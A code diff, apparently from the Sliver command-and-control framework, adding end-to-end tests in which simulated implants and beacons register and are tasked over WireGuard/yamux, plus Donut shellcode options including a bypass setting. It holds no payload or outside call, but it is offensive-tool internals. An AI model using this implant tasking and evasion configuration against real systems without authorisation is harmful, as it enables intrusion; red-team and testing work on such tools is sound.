callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
nonce := int32(2000 + i)
|
||||
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
|
||||
Nonce: nonce,
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ping (async): %v", err)
|
||||
}
|
||||
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
wantNonce := nonce
|
||||
addTask(taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
ping := &sliverpb.Ping{}
|
||||
if err := proto.Unmarshal(data, ping); err != nil {
|
||||
t.Fatalf("unmarshal ping response: %v", err)
|
||||
}
|
||||
if ping.Nonce != wantNonce {
|
||||
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
{
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc pwd (async): %v", err)
|
||||
}
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
addTask(taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
pwd := &sliverpb.Pwd{}
|
||||
if err := proto.Unmarshal(data, pwd); err != nil {
|
||||
t.Fatalf("unmarshal pwd response: %v", err)
|
||||
}
|
||||
if pwd.Path == "" {
|
||||
t.Fatalf("unexpected empty pwd path")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
{
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
|
||||
Name: "PATH",
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc getenv (async): %v", err)
|
||||
}
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
addTask(taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
env := &sliverpb.EnvInfo{}
|
||||
if err := proto.Unmarshal(data, env); err != nil {
|
||||
t.Fatalf("unmarshal env response: %v", err)
|
||||
}
|
||||
if len(env.Variables) != 1 || env.Variables[0].Key != "PATH" {
|
||||
t.Fatalf("unexpected env response: %+v", env.Variables)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
{
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
|
||||
Path: testDir,
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ls (async): %v", err)
|
||||
}
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
addTask(taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
ls := &sliverpb.Ls{}
|
||||
if err := proto.Unmarshal(data, ls); err != nil {
|
||||
t.Fatalf("unmarshal ls response: %v", err)
|
||||
}
|
||||
if !ls.Exists {
|
||||
t.Fatalf("unexpected ls response (Exists=false): %v", ls.GetResponse())
|
||||
}
|
||||
found := false
|
||||
for _, file := range ls.Files {
|
||||
if file.Name == "alpha.txt" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("ls missing expected alpha.txt entry")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
pendingTasks, err := beacon.FetchPendingTasks(ctx)
|
||||
if err != nil {
|
||||
t.Fatalf("fetch pending beacon tasks: %v", err)
|
||||
}
|
||||
if len(pendingTasks) < len(checks) {
|
||||
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), len(checks))
|
||||
}
|
||||
|
||||
results := executeBeaconTasks(t, pendingTasks)
|
||||
if err := beacon.SendResults(results); err != nil {
|
||||
t.Fatalf("send beacon results: %v", err)
|
||||
}
|
||||
|
||||
for _, tc := range checks {
|
||||
data := waitForBeaconTaskResponseBytes(t, rpcClient, tc.id, 10*time.Second)
|
||||
tc.check(t, data)
|
||||
}
|
||||
}
|
||||
|
||||
type wgTestBeacon struct {
|
||||
id string
|
||||
conn net.Conn
|
||||
session *yamux.Session
|
||||
incoming chan *sliverpb.Envelope
|
||||
done chan struct{}
|
||||
}
|
||||
|
||||
func startTestWGBeacon(t *testing.T, conn net.Conn, beaconID string) *wgTestBeacon {
|
||||
t.Helper()
|
||||
|
||||
if _, err := conn.Write([]byte(implantWG.YamuxPreface)); err != nil {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
beacon := &wgTestBeacon{
|
||||
id: beaconID,
|
||||
conn: conn,
|
||||
session: muxSession,
|
||||
incoming: make(chan *sliverpb.Envelope, 64),
|
||||
done: make(chan struct{}),
|
||||
}
|
||||
go beacon.recvLoop()
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e-beacon",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "wg://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(&sliverpb.BeaconRegister{
|
||||
ID: beaconID,
|
||||
Interval: int64(1),
|
||||
Jitter: int64(0),
|
||||
Register: register,
|
||||
NextCheckin: int64(1),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal beacon register: %v", err)
|
||||
}
|
||||
if err := sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgBeaconRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send beacon register: %v", err)
|
||||
}
|
||||
|
||||
return beacon
|
||||
}
|
||||
|
||||
func (b *wgTestBeacon) Stop() {
|
||||
select {
|
||||
case <-b.done:
|
||||
default:
|
||||
close(b.done)
|
||||
}
|
||||
_ = b.session.Close()
|
||||
_ = b.conn.Close()
|
||||
}
|
||||
|
||||
func (b *wgTestBeacon) recvLoop() {
|
||||
defer close(b.incoming)
|
||||
for {
|
||||
stream, err := b.session.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
go func(stream net.Conn) {
|
||||
defer stream.Close()
|
||||
envelope, err := implantWG.ReadEnvelope(stream)
|
||||
if err != nil || envelope == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case b.incoming <- envelope:
|
||||
case <-b.done:
|
||||
}
|
||||
}(stream)
|
||||
}
|
||||
}
|
||||
|
||||
func (b *wgTestBeacon) FetchPendingTasks(ctx context.Context) ([]*sliverpb.Envelope, error) {
|
||||
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
|
||||
ID: b.id,
|
||||
NextCheckin: int64(1),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := sendWGYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData}); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case envelope, ok := <-b.incoming:
|
||||
if !ok {
|
||||
return nil, context.Canceled
|
||||
}
|
||||
if envelope.Type != sliverpb.MsgBeaconTasks {
|
||||
continue
|
||||
}
|
||||
resp := &sliverpb.BeaconTasks{}
|
||||
if err := proto.Unmarshal(envelope.Data, resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp.Tasks, nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (b *wgTestBeacon) SendResults(results []*sliverpb.Envelope) error {
|
||||
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
|
||||
ID: b.id,
|
||||
NextCheckin: int64(1),
|
||||
Tasks: results,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return sendWGYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData})
|
||||
}
|
||||
@@ -0,0 +1,416 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
implantWG "github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"github.com/hashicorp/yamux"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestWGYamux_EndToEndPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleWGSliverConnectionForTest(serverConn)
|
||||
|
||||
stopImplant := startTestWGImplant(t, implantConn)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
pingReq := &sliverpb.Ping{
|
||||
Nonce: 31337,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
pingResp, err := rpcClient.Ping(ctx, pingReq)
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ping: %v", err)
|
||||
}
|
||||
if pingResp.Nonce != pingReq.Nonce {
|
||||
t.Fatalf("unexpected ping nonce: got=%d want=%d", pingResp.Nonce, pingReq.Nonce)
|
||||
}
|
||||
|
||||
const concurrentPings = 32
|
||||
var wg sync.WaitGroup
|
||||
errCh := make(chan error, concurrentPings)
|
||||
|
||||
for i := 0; i < concurrentPings; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer callCancel()
|
||||
|
||||
req := &sliverpb.Ping{
|
||||
Nonce: int32(i),
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
resp, err := rpcClient.Ping(callCtx, req)
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if resp.Nonce != req.Nonce {
|
||||
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
|
||||
return
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWGYamux_EndToEndMixedRPCs(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleWGSliverConnectionForTest(serverConn)
|
||||
|
||||
stopImplant := startTestWGImplant(t, implantConn)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
testDir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
|
||||
t.Fatalf("write alpha.txt: %v", err)
|
||||
}
|
||||
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
|
||||
t.Fatalf("mkdir subdir: %v", err)
|
||||
}
|
||||
|
||||
reqTimeout := int64(5 * time.Second)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
pwdResp, err := rpcClient.Pwd(ctx, &sliverpb.PwdReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rpc pwd: %v", err)
|
||||
}
|
||||
if pwdResp.Path == "" {
|
||||
t.Fatalf("unexpected empty pwd path")
|
||||
}
|
||||
|
||||
envResp, err := rpcClient.GetEnv(ctx, &sliverpb.EnvReq{
|
||||
Name: "PATH",
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rpc getenv: %v", err)
|
||||
}
|
||||
if len(envResp.Variables) != 1 || envResp.Variables[0].Key != "PATH" {
|
||||
t.Fatalf("unexpected getenv response: %+v", envResp.Variables)
|
||||
}
|
||||
|
||||
lsResp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
|
||||
Path: testDir,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ls: %v", err)
|
||||
}
|
||||
if !lsResp.Exists {
|
||||
t.Fatalf("unexpected ls response (Exists=false): %v", lsResp.GetResponse())
|
||||
}
|
||||
lsNames := map[string]bool{}
|
||||
for _, file := range lsResp.Files {
|
||||
lsNames[file.Name] = true
|
||||
}
|
||||
for _, want := range []string{"alpha.txt", "subdir"} {
|
||||
if !lsNames[want] {
|
||||
t.Fatalf("ls missing expected entry %q (got %d entries)", want, len(lsResp.Files))
|
||||
}
|
||||
}
|
||||
|
||||
const concurrentCalls = 64
|
||||
var wg sync.WaitGroup
|
||||
errCh := make(chan error, concurrentCalls)
|
||||
|
||||
for i := 0; i < concurrentCalls; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
|
||||
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer callCancel()
|
||||
|
||||
switch i % 4 {
|
||||
case 0:
|
||||
req := &sliverpb.Ping{
|
||||
Nonce: int32(i),
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
}
|
||||
resp, err := rpcClient.Ping(callCtx, req)
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if resp.Nonce != req.Nonce {
|
||||
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
|
||||
return
|
||||
}
|
||||
|
||||
case 1:
|
||||
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if resp.Path == "" {
|
||||
errCh <- fmt.Errorf("pwd returned empty path")
|
||||
return
|
||||
}
|
||||
|
||||
case 2:
|
||||
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
|
||||
Name: "PATH",
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if len(resp.Variables) != 1 || resp.Variables[0].Key != "PATH" {
|
||||
errCh <- fmt.Errorf("unexpected getenv response: %+v", resp.Variables)
|
||||
return
|
||||
}
|
||||
|
||||
default:
|
||||
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
|
||||
Path: testDir,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if !resp.Exists {
|
||||
errCh <- fmt.Errorf("unexpected ls response (Exists=false): %v", resp.GetResponse())
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, file := range resp.Files {
|
||||
if file.Name == "alpha.txt" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
errCh <- fmt.Errorf("ls missing expected alpha.txt entry")
|
||||
return
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
func startTestWGImplant(t *testing.T, conn net.Conn) func() {
|
||||
t.Helper()
|
||||
|
||||
if _, err := conn.Write([]byte(implantWG.YamuxPreface)); err != nil {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "wg://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(register)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal register: %v", err)
|
||||
}
|
||||
if err := sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send register: %v", err)
|
||||
}
|
||||
|
||||
handlers := implantHandlers.GetSystemHandlers()
|
||||
loopDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(loopDone)
|
||||
|
||||
streamSem := make(chan struct{}, 128)
|
||||
for {
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
default:
|
||||
_ = stream.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
go func(stream net.Conn) {
|
||||
defer func() { <-streamSem }()
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := implantWG.ReadEnvelope(stream)
|
||||
if err != nil || envelope == nil || envelope.ID == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
handler, ok := handlers[envelope.Type]
|
||||
if !ok {
|
||||
_ = sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
|
||||
return
|
||||
}
|
||||
handler(envelope.Data, func(data []byte, err error) {
|
||||
_ = err
|
||||
_ = sendWGYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, Data: data})
|
||||
})
|
||||
}(stream)
|
||||
}
|
||||
}()
|
||||
|
||||
return func() {
|
||||
_ = muxSession.Close()
|
||||
_ = conn.Close()
|
||||
select {
|
||||
case <-loopDone:
|
||||
case <-time.After(5 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func sendWGYamuxEnvelope(session *yamux.Session, envelope *sliverpb.Envelope) error {
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return implantWG.WriteEnvelope(stream, envelope)
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/console"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -64,6 +65,14 @@ var operatorCmd = &cobra.Command{
|
||||
return
|
||||
}
|
||||
|
||||
if !cmd.Flags().Changed(lportFlagStr) {
|
||||
serverConfig := configs.GetServerConfig()
|
||||
|
||||
if serverConfig.DaemonMode {
|
||||
lport = uint16(serverConfig.DaemonConfig.Port)
|
||||
}
|
||||
}
|
||||
|
||||
save, err := cmd.Flags().GetString(saveFlagStr)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to parse --%s flag %s", saveFlagStr, err)
|
||||
|
||||
@@ -185,7 +185,6 @@ type ServerConfig struct {
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
|
||||
DonutBypass int `json:"donut_bypass" yaml:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
Notifications *NotificationsConfig `json:"notifications" yaml:"notifications"`
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
@@ -258,10 +257,6 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||
|
||||
if config.DonutBypass < 1 || config.DonutBypass > 3 {
|
||||
config.DonutBypass = 1
|
||||
}
|
||||
|
||||
err := config.Save() // This updates the config with any missing fields
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||
@@ -297,7 +292,6 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
},
|
||||
},
|
||||
},
|
||||
DonutBypass: 3,
|
||||
Notifications: defaultNotificationsConfig(),
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
|
||||
@@ -36,7 +36,6 @@ http_default:
|
||||
name: "X-Test"
|
||||
value: "abc"
|
||||
probability: 50
|
||||
donut_bypass: 2
|
||||
notifications:
|
||||
enabled: true
|
||||
events:
|
||||
@@ -86,9 +85,6 @@ cxx:
|
||||
if header.Method != "POST" || header.Name != "X-Test" || header.Value != "abc" || header.Probability != 50 {
|
||||
t.Fatalf("unexpected header values: %#v", header)
|
||||
}
|
||||
if config.DonutBypass != 2 {
|
||||
t.Fatalf("expected donut_bypass %d, got %d", 2, config.DonutBypass)
|
||||
}
|
||||
if config.Notifications == nil || !config.Notifications.Enabled {
|
||||
t.Fatalf("expected notifications enabled")
|
||||
}
|
||||
@@ -159,7 +155,6 @@ func TestServerConfigMigratesLegacyJSON(t *testing.T) {
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
HTTPDefaults *legacyHTTPDefaults `json:"http_default"`
|
||||
DonutBypass int `json:"donut_bypass"`
|
||||
CC map[string]string `json:"cc"`
|
||||
CXX map[string]string `json:"cxx"`
|
||||
}
|
||||
@@ -193,9 +188,8 @@ func TestServerConfigMigratesLegacyJSON(t *testing.T) {
|
||||
},
|
||||
},
|
||||
},
|
||||
DonutBypass: 2,
|
||||
CC: map[string]string{"linux/amd64": "/usr/bin/cc"},
|
||||
CXX: map[string]string{"linux/amd64": "/usr/bin/c++"},
|
||||
CC: map[string]string{"linux/amd64": "/usr/bin/cc"},
|
||||
CXX: map[string]string{"linux/amd64": "/usr/bin/c++"},
|
||||
}
|
||||
data, err := json.MarshalIndent(legacy, "", " ")
|
||||
if err != nil {
|
||||
|
||||
@@ -203,6 +203,15 @@ type ImplantConfig struct {
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
// Donut options (Windows shellcode only)
|
||||
DonutEntropy uint32
|
||||
DonutCompress uint32
|
||||
DonutExitOpt uint32
|
||||
DonutBypass uint32
|
||||
DonutHeaders uint32
|
||||
DonutThread bool
|
||||
DonutUnicode bool
|
||||
DonutOEP uint32
|
||||
|
||||
HttpC2ConfigName string
|
||||
NetGoEnabled bool
|
||||
@@ -288,6 +297,16 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
IncludeTCP: ic.IncludeTCP,
|
||||
Extension: ic.Extension,
|
||||
Exports: strings.Split(ic.Exports, ","),
|
||||
DonutConfig: &clientpb.DonutConfig{
|
||||
Entropy: ic.DonutEntropy,
|
||||
Compress: ic.DonutCompress,
|
||||
ExitOpt: ic.DonutExitOpt,
|
||||
Bypass: ic.DonutBypass,
|
||||
Headers: ic.DonutHeaders,
|
||||
Thread: ic.DonutThread,
|
||||
Unicode: ic.DonutUnicode,
|
||||
OEP: ic.DonutOEP,
|
||||
},
|
||||
}
|
||||
|
||||
if ic.ImplantProfileID != nil {
|
||||
@@ -499,6 +518,16 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
cfg.RunAtLoad = pbConfig.RunAtLoad
|
||||
cfg.DebugFile = pbConfig.DebugFile
|
||||
cfg.Exports = strings.Join(pbConfig.Exports, ",")
|
||||
if pbConfig.DonutConfig != nil {
|
||||
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
|
||||
cfg.DonutCompress = pbConfig.DonutConfig.Compress
|
||||
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
|
||||
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
|
||||
cfg.DonutHeaders = pbConfig.DonutConfig.Headers
|
||||
cfg.DonutThread = pbConfig.DonutConfig.Thread
|
||||
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
|
||||
cfg.DonutOEP = pbConfig.DonutConfig.OEP
|
||||
}
|
||||
|
||||
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
|
||||
cfg.NetGoEnabled = pbConfig.NetGoEnabled
|
||||
|
||||
@@ -52,7 +52,10 @@ func (w *Website) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
func (w *Website) ToProtobuf(webContentDir string) *clientpb.Website {
|
||||
WebContents := map[string]*clientpb.WebContent{}
|
||||
for _, webcontent := range w.WebContents {
|
||||
contents, _ := os.ReadFile(filepath.Join(webContentDir, webcontent.Path))
|
||||
contents, err := os.ReadFile(filepath.Join(webContentDir, webcontent.ID.String()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
WebContents[webcontent.ID.String()] = webcontent.ToProtobuf(&contents)
|
||||
}
|
||||
return &clientpb.Website{
|
||||
|
||||
@@ -9,7 +9,7 @@ Server-side code generation and scaffolding utilities. Automates creation of boi
|
||||
- `binaries.go` – Generates binary artifacts and handles output formatting.
|
||||
- `binaries_test.go` *(tests)* – Tests binary generation workflows.
|
||||
- `canaries.go` – Generates DNS canary assets and configuration.
|
||||
- `donut.go` – Integrates with Donut to build .NET loaders.
|
||||
- `donut.go` – Integrates with wasm-donut to build .NET loaders.
|
||||
- `external.go` – Coordinates external builder invocations.
|
||||
- `implants.go` – Generates implant binaries from configs.
|
||||
- `profiles.go` – Creates implant profiles and configuration templates.
|
||||
|
||||
